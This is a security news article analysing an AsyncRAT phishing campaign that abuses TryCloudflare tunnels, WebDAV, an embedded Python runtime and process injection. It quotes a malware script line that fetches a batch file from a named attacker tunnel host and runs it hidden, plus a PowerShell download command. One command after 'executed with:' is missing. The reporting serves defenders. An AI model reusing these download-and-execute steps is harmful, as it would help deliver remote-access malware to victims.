AsyncRAT Leveraging Cloudflare’s Free-Tier Services to Mask Malicious Activities and Detection

An analysis of a recent AsyncRAT campaign reveals the utilization of Cloudflare’s free tier services and TryCloudflare tunnels to obscure remote access activities within legitimate cloud traffic.

Attackers employ phishing emails that direct recipients to a Dropbox-hosted ZIP archive, disguised as a German invoice, to entice users into opening what appears to be a regular billing document.

Upon accessing the ZIP file, users encounter a file with a double extension, such as “Rechnung-zu-Auftrag-W19248960825.pdf.url”, which initially seems to be a PDF but is actually an internet shortcut initiating the infection process.

The shortcut connects to a WebDAV resource hosted via TryCloudflare domains, where multiple scripts and batch files are located. These scripts download additional components, configure a local Python environment, and establish persistence, ensuring the malware reactivates upon each system reboot.

The ultimate payload, AsyncRAT, provides the attacker with comprehensive remote control capabilities, including keylogging, screen capture, and command execution on the compromised system.

Trend Micro analysts, through Managed Detection and Response (MDR) telemetry, identified this activity. The telemetry indicated Outlook and Microsoft Edge downloading a ZIP file with invoice themes, followed by WebDAV connections to Cloudflare-backed infrastructure facilitating script-driven payload delivery.

The investigation connected several TryCloudflare domains to the same backend server and file set, indicating a reusable toolkit being employed across multiple campaigns.

The attackers effectively blend into regular traffic and operations by leveraging Cloudflare’s trusted network and utilizing official Python downloads, making standard domain or reputation-based blocking measures less effective. Files such as ahke.bat and olsm.bat dropped into the Startup folder maintain the Python-based loader’s activity, while users perceive only a legitimate PDF opening in the browser, minimizing suspicion during the compromise.

Infection Mechanism and Cloudflare Abuse

The initial script stage, such as as.wsh invoking anc.wsf, downloads and executes two batch files, vio.bat and xeno.bat, from the user’s Temp directory using Windows Script Host. The anc.wsf file contains logic to:

IFileSystem3.CopyFile("\\\\plus-condos-thy-redeem.trycloudflare.com@SSL\\DavWWWRoot\\vio.bat", "%TEMP%\\vio.bat", true); IWshShell3.Run("%TEMP%\\vio.bat", 0, true);

Subsequently, vio.bat and xeno.bat employ PowerShell to download the official embedded Python 3.14.0 package, extracting it into a local directory, typically C:\Users<username>\AppData\Local\z1man. A typical command in telemetry was:

powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'"

Persistence is established by placing ahke.bat and olsm.bat into the Startup folder, each configured to run Python with a loader script named ne.py at startup.

Finally, ne.py executes polymorphic APC-based code injection into explorer.exe using encrypted shellcode stored in new.bin and keys from a.txt, executed with:

This detailed technical breakdown illustrates how AsyncRAT operators integrate cloud tunneling, WebDAV, Python, and process injection to maintain control over infected systems while remaining concealed within standard cloud and system activities.

Based on reporting by Cyber Security News.